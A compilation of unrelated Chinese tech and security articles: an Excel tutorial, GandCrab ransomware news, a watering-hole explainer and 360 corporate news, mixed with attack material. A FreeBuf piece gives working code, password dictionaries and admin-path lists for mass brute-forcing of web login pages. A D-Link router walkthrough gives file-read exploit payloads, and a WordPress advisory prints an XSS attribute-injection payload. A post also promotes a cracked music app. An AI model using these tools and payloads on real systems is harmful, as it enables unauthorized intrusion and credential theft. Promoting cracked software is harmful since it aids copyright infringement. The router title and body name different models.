Excel教你两分钟快速添加间隔空行

在使用Excel表格中,为了让表格呈现出更美观的效果,我们通常会用到间隔空行的功能,那么空格之后的表格,会不会给人眼前一亮的感觉呢?可是现在很多人还不熟悉这个功能,那么接下来我就和大家分享用Excel快速添加间隔空行的方法,在下面的表格数据中,在每一组数据之间都添加一个空行。

1、首先选中一个空列,例如F列,在F2单元格中输入数字1。

在F2单元格中输入数字1

2、然后选中F2和F3两个单元格,将鼠标移动到填充柄的位置,单击鼠标左键,进行托页。

选中F2和F3两个单元格,进行托页

3、选中F2到F11,然后切换到“开始”选项卡的“编辑”选项组的“查找和选择”按钮,在下拉菜单中点击“定位条件”。

点击“定位条件”

4、弹出“定位条件”对话框,选择“空值”复选按钮,然后单击“确定”。

选择“空值”复选按钮

5、然后鼠标右键任意点击一个空白单元格,例如F5,出现的快捷菜单中点击“插入”。

点击“插入”

6、在弹出的“插入”对话框中,选择“整行”,然后单击“确定”按钮。

选择“整行”

7、 出现的界面并没有出现每行都间隔,此时选中F2到F15,然后切换到“开始”选项卡的“编辑”选项组的“查找和选择”按钮,在下拉菜单中点击“定位条件”。

选中F2到F15,选择“查找和选择”按钮

8、 在弹出的“定位条件”对话框,选择“常量”复选按钮,然后单击“确定”。

选择“常量”复选按钮

9、 然后鼠标右键任意点击一个空白单元格,例如F5,出现的快捷菜单中点击“插入”, 在弹出的“插入”对话框中,选择“整行”,然后单击“确定”按钮。

点击一个空白单元格,选中“整行”

10、最后快速添加间隔空行就完成啦。

快速添加间隔空行就完成啦

可能步骤看着有点多,但是操作起来一点也不复杂,不信的话自己可以试试哦

Web弱口令通用检测方法探究

注意:本脚本只是探讨通用web口令破解的可行性,所有测试请自行搭建靶机环境或者在拿到目标系统相关授权后再进行测试。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

工具介绍

通用的web弱口令破解脚本,旨在批量检测那些没有验证码的管理后台。

随着攻防演练和一些漏洞挖掘任务的增多,有时候需要大批量快速的检测一些网站后台安全性,特别是测试一些管理弱口令,这种难度不大但比较费时费力的工作就需要一个自动化的脚本来完成了。但目前的各种web口令破解工具大多是针对某个cms进行设计,或者类似burpsuite需要手工配置,没有见过能通用的破解工具。

因此就有了这个小工具——通用web弱口令破解脚本,配合另一个信息搜集工具 https://github.com/TideSec/FuzzScanner 可以进行批量快速刷分。

安装使用

安装使用都比较简单:

从Github上拖下来

git clone https://github.com/TideSec/web_pwd_common_crack

安装requirements.txt依赖

pip install -r requirements.txt

运行脚本即可

python web_pwd_crack.py url.txt 50   --> url.txt为待扫描URL地址列表,50为线程数,默认为50

url.txt为待检测URL地址,可以自己写个脚本批量从搜索引擎获取,也可以自己用目录枚举工具去搜集。

功能原理

1、访问目标地址,分析关键字

原理非常low,就是从页面中提取表单,对表单中的内容进行检索,发现存在用户名、密码、username、pwd、pass之类的字段则认为是登录页面,然后提取参数组成data数据,发送给crack函数进行破解。

由于现在各种网站的请求包的多样性,目前没法做到像wvs那样能提取到所有的登录post,只是根据简单的关键字进行了提取。

logins =['用户名','密码','login','denglu','登录','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']

在测试中还发现有时候搜索框会干扰结果,所以把搜索框又进行了排除

sous = ['检索','搜','search','查找','keyword','关键字']

另外,目前不支持自动识别验证码,所以对验证码也进行了排除

yzms = ['验证码','点击更换','点击刷新','checkcode','valicode','code','captcha']

2、通过解析页面获取post地址及参数

def get_post_get_page(content,url):
    form_action = str(content).split('\n')[0]
    # print form_action
    soup = BS(form_action, "lxml")
    url_path = ''
    for x in re.findall(".*?/",url):
        url_path =  url_path+x

    action_url = soup.form['action']
    if str(action_url).startswith('http'):
        path = action_url
    else:
        path = url_path+soup.form['action']
    method = soup.form['method']
    return path,method

3、在获取相关参数和path后调用破解函数web_crack进行密码破解

def web_crack(method,path,data):
    conn =  requests.session()
    res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies())
    error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data)
    if dynamic_req_len:
        return False,False

    num = 0
    success_flag = 0
    dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC)
    for user_name in USERNAME_DIC:
        for pass_word in PASSWORD_DIC:
            data1 = data
            # print data1
            user_name = user_name.strip()
            pass_word = pass_word.strip()
            pass_word = str(pass_word.replace('{user}', user_name))
            data2 = str(data1.replace('%7Buser_name%7D', user_name))
            data2 = str(data2.replace('%7Bpass_word%7D', pass_word))

            num = num+1

            res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies())
            cur_length = len(res.content+str(res.headers))

            if cookie_error_flag:  # cookie_error_flag表示每个数据包中都有cookie
                if cur_length!=error_length:
                    success_flag =1
                    return user_name,pass_word
            elif 'Set-Cookie' in res.headers and cur_length!=error_length:
                success_flag =1
                return user_name,pass_word
    if success_flag == 0:
        return False,False

配置了一个比较简单的字典

USERNAME_DIC = ['admin','guest','test','ceshi','system']
PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888']

4、如何判断破解成功

目前使用了几种方式相互结合的方法来共同验证。

1、通过返回包里有没有Set-Cookie;
2、返回数据包的长度变化;
3、使用requests.session()进行重验证;
4、返回页面的内容匹配。

5、优化准确度,加入了recheck函数

在测试时发现会出现误报情况,所以对成功的账户密码进行了重验证。比如:

1、有些系统在探测多次之后出现封ip之类的情况,这时候会干扰破解脚本的判断;
2、有些系统在开始的时候没有验证码,但错误几次后会出现验证码;
3、有些系统的提示信息会出现随机的变更,导致误报。

工作界面

扫描过程如下

screenshot

扫描成功的结果会保持在web_crack_ok.txt文件中

screenshot

扫描中识别到验证码、phpmyadmin等所有的日志会保存在web_crack_log.txt文件中,后期可以根据log日志再进行逐一筛查。

screenshot

其他说明

其实在完成这个工具后,也开始明白为什么市面上没有通用的破解器,因为成功率的确不高!我测试过10000个管理后台,破解出来弱口令的大约110个,有没有漏报不清楚但基本没有误报。

成功率不高主要原因有:

1、web页面类型繁杂,很难准确获取并提交正确参数;

2、很多页面都有验证码,目前这个小脚本还没法自动识别验证码; 

3、为了平衡时间和效率,使用了比较简单的用户名和密码字典,所以稍微复杂的密码就破解不出来了。

我一般会使用dirsearch或之类的目录枚举工具,配置一个比较轻便的管理后台目录字典,对目标地址进行批量扫描管理后台,然后再使用web_pwd_crack.py对这些后台地址批量进行弱口令破解。

贡献一个比较精简的管理后台字典(100条)

admin/default/login.asp
admin/login.asp
admin/manage/login.asp
admin_login/login.asp
admincp/login.asp
administrator/login.asp
login.asp
manage/login.asp
manager/login.asp
member/login.asp
admin-login.php
admin/admin-login.php
admin/admin_login.php
admin/login.php
admin2/login.php
admin_area/login.php
admin_login.php
adminarea/login.php
admincontrol/login.php
administrator/login.php
administratorlogin.php
adminlogin.php
autologin.php
bb-admin/login.php
blog/wp-login.php
checklogin.php
login.php
modelsearch/login.php
moderator/login.php
nsw/admin/login.php
pages/admin/admin-login.php
panel-administracion/login.php
processlogin.php
rcjakar/admin/login.php
relogin.php
siteadmin/login.php
sqlbuddy/login.php
userlogin.php
usuarios/login.php
webadmin/login.php
wp-login.php
account/login.jsp
accounts/login.jsp
admin/login.jsp
auth/login.jsp
jsp/extension/login.jsp
login.jsp
member/login.jsp
members/login.jsp
portalAppAdmin/login.jsp
admin.jsp
netadmin.jsp
admin.php
admin.php3
admin/admin.php
admin_area/admin.php
adminarea/admin.php
authadmin.php
bb-admin/admin.php
checkadmin.php
cmsadmin.php
dbadmin.php
fileadmin.php
isadmin.php
linusadmin-phpinfo.php
memberadmin.php
moadmin.php
modelsearch/admin.php
moderator/admin.php
panel-administracion/admin.php
phpliteadmin.php
siteadmin.php
sysadmin.php
tmp/admin.php
ur-admin.php
user/admin.php
users/admin.php
webadmin.php
webadmin/admin.php
wp-content/plugins/akismet/admin.php
admin.asp
admin.aspx
admin/default/admin.asp
admin/manage/admin.asp
admin_login/admin.asp
administrator/admin.asp
article/admin/admin.asp
denglu/admin.asp
guanli/admin.asp
houtai/admin.asp
login/admin/admin.asp
manage/admin.asp
manager/admin.asp
member/admin.asp
admin/logon.jsp
admin/secure/logon.jsp
compass/logon.jsp
logon.jsp
logon/logon.jsp

ToDo

验证码识别

减少误报率

优化编码处理

能不那么low

来源:FreeBuf

网络安全和水坑攻击

“ 水坑攻击 ”是网络犯罪分子用来破坏组织在线信息系统的众多技术之一。网络安全管理员应该了解水坑攻击是如何工作的,以及如何防范它们。

水坑攻击这句话来自自然界的掠食者,他们潜伏在水坑附近,等待他们想要的猎物。在网络水坑攻击中,网络犯罪分子在网站上设置了陷阱,他们的目标受害者经常被发现。 通常情况下,陷阱网站是较小的,利基网站往往安全性有限。这些网站可以包括业务合作伙伴网站或向目标公司或行业提供特定产品,服务或信息的小型网站。访问时,受感染的网站会使用键盘记录程序,勒索软件和其他类型的恶意软件感染目标最终用户计算机或设备。

水坑攻击如何发挥作用

水坑攻击是经过精心设计和执行的攻击,通常包括以下阶段:

  • 攻击者最初会分析其目标,以了解他们经常访问的网站。
  • 然后,攻击者会对那些经常访问的网站进行探测,识别出任何有漏洞和漏洞的网站。
  • 攻击者使用各种技术破坏易受攻击的网站。一种常见的方法是注入JavaScript或HTML代码,将受害者重定向到托管恶意软件的备用站点。
  • 当目标用户的浏览器连接到恶意站点时,网站上运行的代码会与受害者的浏览器进行交互,并探测受害者的PC或设备,以查找未修补且易受攻击的应用程序或操作系统。
  • 如果在受害者的设备上发现漏洞,恶意网站会在受害者的计算机上安装恶意软件。

一旦被感染,用户设备上的恶意软件将根据所涉及的恶意代码类型尝试进行各种恶意活动。它可能会扰乱用户的数据并请求赎金来恢复它,或者捕获用户输入的ID,密码和支付卡数据。或者,恶意软件可能会窃取受害者雇主的数据或执行许多其他恶意活动。

水坑攻击对网络安全造成重大威胁

虽然水坑攻击不一定常见,但它们确实构成了重大威胁,因为它们很难被发现。受感染的网站通常是受信任的实体,个人和组织可能无法对其进行全面审查。在某些情况下,它们属于没有强大安全程序的业务合作伙伴。这增加了与他们交互的任何组织或个人的风险。

水坑攻击的另一个问题是难以培训员工避免受感染的网站。组织可以培训员工如何识别和避免大多数网络钓鱼电子邮件,但用户无法在没有专门设计的工具的帮助下识别受感染的网站。幸运的是,有一些技术解决方案不依赖于最终用户。

防止水坑袭击

组织可以采取一些措施来保护自己免受水坑攻击。首先,每家公司都应该强制执行或至少鼓励遵守以下规定:

  • 将所有常用软件和操作系统修补并更新到最新版本;
  • 确保正确配置防火墙和其他安全产品;
  • 检查员工访问的所有热门网站,并定期检查这些网站是否存在恶意软件;
  • 立即阻止所有受感染网站的流量并通知网站所有者;
  • 检查您自己的网站,甚至内部网站,以确保它们是免费的恶意软件;
  • 在实际可用的范围内,配置浏览器或其他工具以使用网站信誉服务来通知用户已知的坏网站;
  • 教育您的员工,尤其是那些能够访问关键数据和基础设施的员工,了解水坑攻击。

网络安全监控至关重要

除了上述基本步骤外,为防止复杂的水坑攻击,组织必须部署先进的网络安全监控工具。

复杂的水坑攻击使用以前看不见的漏洞和战术,通常被称为零日威胁。由于传统的基于签名的控制依赖于过去的威胁知识,因此无法有效地检测复杂的水坑和其他攻击。因此,组织必须部署额外的高级威胁防护层,例如网络安全监控和行为分析。

虽然水坑攻击具有不同的有效载荷和目标,但这些攻击使用的恶意软件几乎都与命令和控制服务器(C&C)进行通信。通过实施专门用于检测这些恶意通信的网络安全监控工具,组织可以及早发现攻击并防止其升级。同样,通过对可疑网站页面或代码执行深度内容检查,高级恶意软件检测技术可以在恶意行为造成额外损害之前识别它们。

水坑攻击是网络犯罪分子绕过典型企业安全控制并针对特定受众的有效方式。因此,他们不太可能很快消失。网络安全管理员需要预测他们的存在并采取适当的对策。

来源:51CTO

酷我音乐 v9.0.4 豪华VIP破解版 免费下载无损收费歌曲

如今,市面上的音乐软件还是很多的,竞争也非常激烈。特别是,近几年来的音乐版权问题,导致我们在常用的音乐软件上无法收听部分歌曲。这其实给很多用户,在使用上造成了很大的困扰。为了几首歌,还得特意下其他软件,实在太过麻烦。

不过,好在我们还是有方法,可以破解这些困局的。具体的详细教程,可以查看我们的历史文章,这次就不多说了。而且,考虑到大家的需求,我们也一直在分享很多音乐软件的破解版,如《安卓酷我音乐 v9.2.0 去广告VIP破解版 免费听无损付费歌曲》。

从反馈上来看,很多人都很喜欢之前发的酷我音乐vip破解版。由于上次分享的是安卓版,无法在电脑上使用,所以系统迷这次再补充下PC版。如此一来,就完美了。

(酷我音乐)

酷我音乐是一款非常老牌的听歌软件,系统迷记得,当年也是非常火的。不过,这几年貌似被QQ音乐和网易云音乐给比下去了。当然,现在它还是有很多忠实的用户,而且软件上的歌曲资源也比较丰富,一直在更新。

反正我们听歌需要的音乐功能,它都有。唯一的缺点,就是很多功能的使用,都需要开通豪华VIP。想试听下载无损音乐,或版权付费歌曲,都得花钱。

这次,系统迷给大家带来了网友修改的酷我音乐豪华VIP破解版。此版本已经破解了豪华VIP特权,可以免费试听无损音质,免费下载版权付费歌曲。而且,还去除了MV的缓冲广告,可以享受VIP下载加速功能。

此版本非常完美,有需要的朋友可以下载试试。安装完首次打开,若不能听无损音质,请尝试重启下软件。登录账号后,可以听蝰蛇音效。

来源:互联网

捂紧你的U盘!“侠盗病毒”盯上它了!

近期,360安全大脑监测到风靡全球的“侠盗病毒”(GandCrab勒索病毒)再次利用U盘蠕虫传播自身。本次360安全大脑捕获到的病毒样本显示,“侠盗病毒”已将勒索金额提升到了2000美元,折合人民币超1.3万元,该病毒在去年攻击时,收取的勒索金额大约在3000元人民币左右。可见,随着付费受害者的增多,传播者也在一步一步提高收费。

不过广大用户以及管理员不必惊慌,对于GandCrab v5.2勒索病毒利用U盘蠕虫的攻击感染情况,360U盘助手已第一时间截杀,建议广大用户使用360U盘助手保护个人隐私及财产安全。此外,360安全卫士已经实现了对GandCrab勒索病毒4.0/5.0/5.0.2/5.0.3/5.0.4/5.1版本的解密,并全面支持针对GandCrab勒索病毒全系列的强力查杀。装有360安全卫士的用户,能有效防御GandCrab的攻击,绝无中招之患!

GandCrab勒索病毒从2018年开始风靡全球,其通过暗网的RaaS模式向病毒传播者分发勒索病毒,同时还兜售各种传播工具,如今已成为目前流行勒索病毒中传播渠道最广、传播量最大的一个家族。并且早在2018年11月下旬,360安全大脑就曾监测到GandCrab勒索病毒利用U盘蠕虫传播造成大批电脑中招的情况。仅一个月时间,360反勒索服务就收到约370起用户反馈与求助,危害极大。

为了避免再次发生大规模感染事件,360安全大脑建议广大用户要做好以下防护措施:

1、在使用U盘前,安装并开启360安全卫士,360安全卫士能在U盘插入的第一时间清除掉U盘中的蠕虫;对U盘中已经报毒的文件,不可轻易添加信任执行。

2、提高安全管理意识,关闭不必要的端口和共享文件;

3、及时给系统安装补丁,修复服务器系统、Web应用漏洞,使用强度高的服务器登录口令与Web应用后台登录密码,防止攻击者通过漏洞利用或弱口令爆破等方式攻击服务器;

4、切记不要轻易点击来历不明的邮件,企业邮件服务器可尝试部署邮件安全网关、升级安全策略,将此类邮件拉入垃圾邮件黑名单等措施实施防御。

免责声明:

1.本文援引自互联网,旨在传递更多网络信息,仅代表作者本人观点,与本网站无关。

2.本文仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

来源:驱动中国

WordPress 5.1 CSRF 导致远程命令执行漏洞预警

报告编号:B6-2019-031301

报告来源:360-CERT

报告作者:360-CERT

更新日期:2019-03-13

0x00 漏洞背景

2019 年 03 月 13 日 360 CERT 监测到 RIPSTECH 发布了 WordPress 5.1 CSRF 漏洞导致远程代码执行的内容细节。

0x01 漏洞详情

RIPSTECH 表示这是 WordPress 5.1 的另一个关键漏洞链,它使未经身份验证的攻击者能够在版本 5.1.1 之前的任何 WordPress 上获得远程代码执行。

在 WordPress 的处理过程中由于要实现一些特性的原因, WordPress 并没有针对评论的发布做 CSRF 限制,那么攻击者就能够使用 CSRF 攻击来攻击 WordPress 管理员使其通过其权限创建评论。

WordPress 试图通过在评论表单中为管理员生成一个额外的随机数来解决这个问题。当管理员提交评论并提供有效的随机数时,评论将在不经过任何清理函数的情况下创建。如果随机数无效,评论仍会创建,但会被清理函数处理。

可以看到评论通常是wp_filter_kses来负责清理的。wp_filter_kses仅允许仅有 href 属性的 a 标签。

如果是如下这种情况:创建评论的用户拥有unfiltered_html权限,并且没有提供有效的随机数,则用 wp_filter_post_kses 来清理注释。

wp_filter_post_kses 虽仍会删除任何可能导致跨站点脚本漏洞的 HTML 标记和属性。但允许了一些其他的常见属性比如rel

WordPress 在处理评论中的 a 标签的属性时候会通过如下代码,将属性处理为键值对关系键是属性的名称,值是属性值。

WordPress 然后检查rel属性是否被设置。只有通过 wp_filter_post_kses 过滤注释,才能设置此属性。按如下方式处理。

标题属性值用双引号括起来(第 3018 行)。这意味着攻击者可以通过注入闭合title属性的额外双引号来注入额外的 HTML 属性。

例如:title='XSS " onmouseover=alert(1) id="'

理论上<a title='XSS " onmouseover=evilCode() id=" '> 将会变成 <a title="XSS " onmouseover=evilCode() id=" ">

然后在经过处理后该评论即会被 WordPress 存储入数据库。

而因为插入的 js 事件和执行的代码可以是纯隐性的。当被注入评论的管理员在访问到该评论页面的时候,即可触发通过管理员操作在管理员后台进行 php 代码注入而导致命令执行。

0x02 影响范围

WordPress 5.1.1 之前的版本 (不含 5.1.1)

0x03 修复建议

默认情况下,WordPress 会自动安装安全更新,您应该已更新至最新版本的 5.1.1。如果您或您的主机由于某种原因禁用了自动更新功能,您也可以禁用注释,直到安装了安全修补程序。最重要的是,在访问其他网站之前,请确保注销管理员会话。

0x04 时间线

2019-03-13 RIPSTECH发布漏洞细节

2019-03-13 360CERT发布预警

0x05 参考链接

  1. WordPress 5.1 CSRF to Remote Code Execution

来源:360CERT

360公司转让奇安信股权进军政企市场 全面铺开“大安全”战略

2019年4月12日晚间,在A股上市的360公司发布公告称,将对外转让其所持北京奇安信科技有限公司(以下简称“奇安信”)的全部股权。360公司此前是奇安信第二大股东,所持奇安信股权占其总股权的22.59%。

本次股权转让完成后,360公司与奇安信之间将不再存在股权关系,双方“投资与被投资”、“授权与被授权”的关系宣告结束。据了解,360公司进行本次股权转让,主要出于以下几点考量——

解决独立性问题,助力奇安信上市

3年前,360公司作为奇安信最早的战略投资者,为其提供了品牌、技术、大数据等授权支持和安全赋能。经过3年多的时间,奇安信在360的支持下获得了快速发展,已经具备独立发展的能力。

目前,奇安信启动上市筹备工作,按照有关上市要求,拟上市公司应当具备独立性。360向其提供的品牌、技术、大数据等授权支持一定程度上对其独立性造成了影响。为此,360根据约定整体出让股权、收回相关品牌、技术和数据授权,解决奇安信上市的独立性问题。

360为了保护用户利益,会继续提供安全大数据的支持服务。之前以360品牌出售的安全产品,360公司会继续以市场化的机制在过渡期内提供数据支持,以确保政企用户利益不受损害,这也符合其用户至上价值观。

全面落实360“大安全”战略

完成股权转让后,360公司将获得37亿元的转让资金,投资收益近30亿元,而回笼资金将用于360公司“大安全”战略的拓展。

此前,360公司董事长兼CEO周鸿祎就曾提出大安全战略:万物互联时代,网络安全威胁已经从网络空间扩展到对国家安全、国防安全、关键基础设施安全、社会安全、城市安全乃至人身安全的恶意控制或攻击,为此360公司将持续建设“国家安全大脑”、“城市安全大脑”、“家庭安全大脑”等三个“安全大脑”,为国家安全及国民安全提供更强劲的保障,并将深化布局政府及企业安全业务。

在大安全战略的系列版图中,政企网络安全市场不可或缺。未来,政企安全领域将成为360公司的重要战略方向和新业务增长点,360将通过包括不限于自建、投资、并购等方式,全力拓展政企安全市场。

大安全必将带来大市场机遇

大安全的“大”,主要体现在未来安全市场大、威胁大、范围大。新的威胁产生了新的产业机遇,带来了更大的市场蛋糕。国家、政府和企业对于安全的重视和投入也日益提升。从发展的眼光看,安全市场将迎来重大发展机遇,作为安全行业领军企业的360,必将在政企安全市场有所作为。因此,360将全面进入政企类安全市场。

360公司拥有世界级的漏洞挖掘与攻防对抗能力。2018年微软公布全球最有影响力的100名安全专家中,360公司有13人上榜,其中8人排名前50,成为入选人数最多、综合排名最高的安全厂商。360公司拥有国内最强的人才技术团队。公司目前总人数约6000人,技术研发人员近4000人,是东半球第一、全球第二大的网络安全企业。360公司建有亚太地区最大的安全创新中心,下属17支安全研究团队、11个安全研究院(实验室),集全球精英人才与顶级技术为一体,代表了中国网络安全行业最前沿技术水平。截止2018年6月,申请发明专利超11000件。

因此,360手里有更充足弹药,以投资更多生态企业的方式,在市场上给更多的安全企业赋能,大家共同做大。随着360公司安全大脑战略的落地实施,必将以其革命性的新打法和颠覆式创新,改变大安全市场的格局。

来源:财经网

路由器漏洞挖掘之 DIR-805L 越权文件读取漏洞分析

接下来的文章都会实战复现一些关于路由器的 web /二进制漏洞,可能会写的比较细,希望能给大家带来启发。

前言

本文在复现 DIR-805L 任意文件读取漏洞时,将会比较详细的分析一下用于 cgi 处理的 phpcgi_main 函数其中的一些功能。在逆向 cgibin 二进制文件时,常常会遇到一些用于解析 http 请求的函数,在分析时经常对这些函数的用法不太清楚。总是云里雾里的,所以这里对这些函数做一个比较细致的总结,希望对同样在学这块的朋友们一点启发吧,也算是达到抛砖引玉的目的吧。

  • 笔者能力有限,写不出高水平的文章,只能把基础的要点写详细一些,目的为了供一些和我一样的新手入门学习,文中若有解释错误恳请师傅们指出。

前提准备

去 dlink 的官网下载固件:

ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP

使用 firmadyne 来模拟固件:

./sources/extractor/extractor.py -b DIR-850L -sql 127.0.0.1 -np -nk "DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP" images

./scripts/getArch.sh ./images/8.tar.gz

./scripts/tar2db.py -i 8 -f ./images/8.tar.gz

sudo ./scripts/makeImage.sh 8

./scripts/inferNetwork.sh 8

./scratch/8/run.sh
  • 这里我使用远程的 vps 来搭建 firmadyne 的环境,路由器的 IP是 192.168.0.1

运行固件之后在本地连上远程的 ssh 隧道,代理到本地的 9000 端口:

ssh ubuntu@xx.xx.xx.xx -D 9000

sockets 代理 127.0.0.1:9000 ,这里我们就能在本地访问到 vps 上模拟的固件

访问 192.168.0.1 即可访问到路由器的登录界面。

  • 如果用 Burp 访问的话,在 User options 中开启 socks proxy 选项就行了。

越权文件读取

先给相应的 payload

post_uri: http://192.168.0.1/getcfg.php
data: SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1

漏洞分析

getcfg.php 源代码分析

在 /htdocs/web/getcfg.php 文件中,有一处文件读取的操作,通过读取 POST 传入的参数 SERVICES 的值,最后拼接到 $file 变量中,调用 dophp("load", $file) 函数进行文件读取。

显然这里的 SERVICES 变量的值可控,为了达到读取文件的目的,这里还需要绕过前面的一个 if 判断

    if(is_power_user() == 1)

    ......

    function is_power_user(){
        if($_GLOBALS["AUTHORIZED_GROUP"] == "")
        {
                return 0;
        }
        if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
        {
                return 0;
        }
        return 1;
}

这个函数在前面就定义了,通过全局变量 AUTHORIZED_GROUP 来判断返回值。这里需要满足 AUTHORIZED_GROUP 的值大于 0 才表示认证成功。那么这里全局变量 AUTHORIZED_GROUP 值是从哪里获取的呢?这里我们就需要在 cgibin 这个二进制文件中找到答案。

cgibin 的静态分析

首先要明确 cgibin 这个文件是起到解析处理脚本语言的作用,当前 webserver 运行的是 php 脚本,那么这个二进制文件中重点就是处理 php 语言的部分,也就是 phpcgi

CGI的英文是(COMMON GATEWAY INTERFACE)公共网关接口,它的作用就是帮助服务器与语言通信。

所以在 IDA 中我们需要找到处理 phpcgi 的相关函数。在 0x00406528 处找到这个函数

下面开始详细分析这个函数其中的一些细节。

首先,第一步函数调用了 sobj_new、sobj_add_string、sobj_add_char 函数来初始化字符串,为后面对解析 POST 变量的处理做一个准备。

  • sobj_new 函数开辟一个堆内存,并维护一个数组
int *malloc_addr = malloc(0x18)

heap + 0 = malloc_addr
heap + 4 = malloc_addr
heap + 8 = 0
heap + C = 0
heap + 10 = 0
heap + 14 = 0

接下来通过 getenv 函数来获取请求的方法和请求的 uri。

这里是 POST 请求,所以会走到 0x40668C 这个分支

  • 在 cgi 的处理中, getenv 是个很重要的函数,这个函数用来获取客户端通过 http 请求的一些请求参数,例如 uri、content-length、请求方法等。char *getenv(const char *name) 当前函数返回值为指向查找的 name 的值的指针。

getenv 函数的返回值存储在一个全局二维数组里,当你再次使用 getenv 函数时不用担心会覆盖上次的调用结果。

接着调用 cgibin_parse_request 这个函数,函数主要功能是进一步处理 http 请求。

cgibin_parse_request(sub_406220,malloc_addr,8)

这个函数的第一个参数 sub_406220 函数意思是拼接 POST 请求的参数名和参数值。

接着 cgibin_parse_request 函数里调用 parse_uri 完后,将返回值存储到 &(heap + 8) 处

往下就跳转到了 loc_406760 这个分支,sobj_get_string 函数从堆空间中获取前一步拼接的参数名和参数值,主要是判断 POST 请求中是否存在 AUTHORIZED_GROUP 这个参数

继续往下,这里的开头先判断访问的绝对路径中是否包含 htdocs/mydlink 路径,再经过 strcasecmp 函数的比较之后,跳转到 sess_validate 函数来执行

在这里,sess_validate 函数作用是验证解析 AUTHORIZED_GROUP 这个参数的值,并通过 sprintf 函数后作为全局变量的形式格式化到栈上。即:

sprintf($sp+0xB0-0x90,"AUTHORIZED_GROUP=%d",sess_validate())

之后再调用 sobj_add_string 和 sobj_add_char 函数来进行字符串的拼接。

sobj_add_string 函数将 sprintf 格式化到栈上的数据作为指针,存储到 sobj_new 开辟的堆空间里。

sobj_add_string(&heap,$sp+0xB0-0x90)

这里需要在 POST 数据包中加上 %0a 的原因是在调用 sobj_add_char 函数时,会用 n 来分隔参数

sobj_add_char(heap,0x10)

因此这里的 payload 为:

SERVICES=DEVICE.ACCOUNT&attack=%0aAUTHORIZED_GROUP=1

所以只要将 %0aAUTHORIZED_GROUP=1 伪造作为任意一个参数名的参数值就行了。

因此在 cgibin 处理完 AUTHORIZED_GROUP 参数后,就将他作为全局变量存储在 php 当中。这样就绕过了 is_power_user 函数的判断,执行下面的任意文件读取操作。

动态分析

这里直接使用 POST 方法提交上面的 payload 来进行调试,观察一下参数的变化。

另一处任意文件读取

这里其实还有一处的任意文件读取,漏洞位于 htdocs/webinc/fatlady.php 中,代码如下:

$service 参数未经过滤就直接拼接到 $target 变量中,导致这里可以通过目录穿越读取到其他目录下的 .php 后缀的文件,例如存放 admin 用户信息的 DEVICE.ACCOUNT.xml.php 文件。

<?xml version "1.0" encoding "utf-8"><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>

这里只要满足 POST 数据包中 xml 形式的 postxml 即可,$service 变量即可控,同样可以达到任意文件读取的效果。

  • 注意这里请求头的 Content-Type 的值要为 text/xml

任意文件读取漏洞的复现

这里复现一下第一种任意文件读取的效果,我们的目的是读取在 /htdocs/webinc/getcfg 目录下的 DEVICE.ACCOUNT.xml.php 文件。

SERVICES 的值可控,那么这里就可以传入 SERVICES 的值为 /htdocs/webinc/getcfg 文件夹下后缀为 .xml.php 的文件名,达到未授权读取配置文件的目的。

使用 Burp 构造数据包发送即可看到漏洞效果。

  • 这里的 Content-Type 需要为 application/x-www-form-urlencoded,发送的 POST 数据才能正常被服务器解析。

总结

DIR-850L 任意文件读取复漏洞现重点还是要仔细分析 phpcgi_main 这个函数的在处理 http 请求时的相关逻辑。

这里在读取到 DEVICE.ACCOUNT 配置文件,得到 admin 的密码之后,可以进一步利用一处命令执行来 getshell,具体的后面的文章中会有具体的分析。

来源:安全客

参考文章

https://xz.aliyun.com/t/90
https://xz.aliyun.com/t/2941

“侠盗病毒”已攻击我国,不可破解,尽快防御。

      近日,一款名为GandCrab V5.2的“侠盗病毒”肆虐而至,已攻击了巴西、美国、印度、印度尼西亚和巴基斯坦等多个国家,大有再现2017年WannaCry病毒“昔日荣光”(攻击全球150多个国家、造成总计超80亿天价损失)的迹象。

      截止目前,我国已有数千台政府以及企业的电脑遭受到攻击,而各大安全团队目前还未找到破解之法。MailData 在此提醒大家,千万做好相关防御措施。

一、为何称为“侠盗病毒”

      这款GandCrab勒索病毒诞生于2018年1月,是一种新型的比特币勒索病毒。自诞生后的几个月里,迅速成为一颗“新星”,“技术实力强”是该团队的标签之一。

      而团队的另外一个标签——“侠盗”,则来源于2018年发生的“叙利亚密钥”事件。

      2018年10月16日,一位名叫Jameel的叙利亚父亲在Twitter上发帖求助,说自己的电脑感染了GandCrab V5.0.3并遭到加密,由于无力支付高达600美元的“赎金”,他再也无法看到在战争中丧生的小儿子的照片。

Twitter截图

      GandCrab勒索病毒制作者看到后,随即发布了一条道歉声明,称其无意感染叙利亚用户,并放出了部分叙利亚感染者的解密密钥。GandCrab也随之进行了V5.0.5更新,并将叙利亚以及其他战乱地区加进感染区域的“白名单”。此外,如果GandCrab监测到电脑系统使用的是俄语系语言,也会停止入侵。安全专家据此猜测病毒作者疑为俄罗斯人。

勒索者道歉图

      此事一出,不少人对GandCrab生出好感,称呼其为“侠盗”。

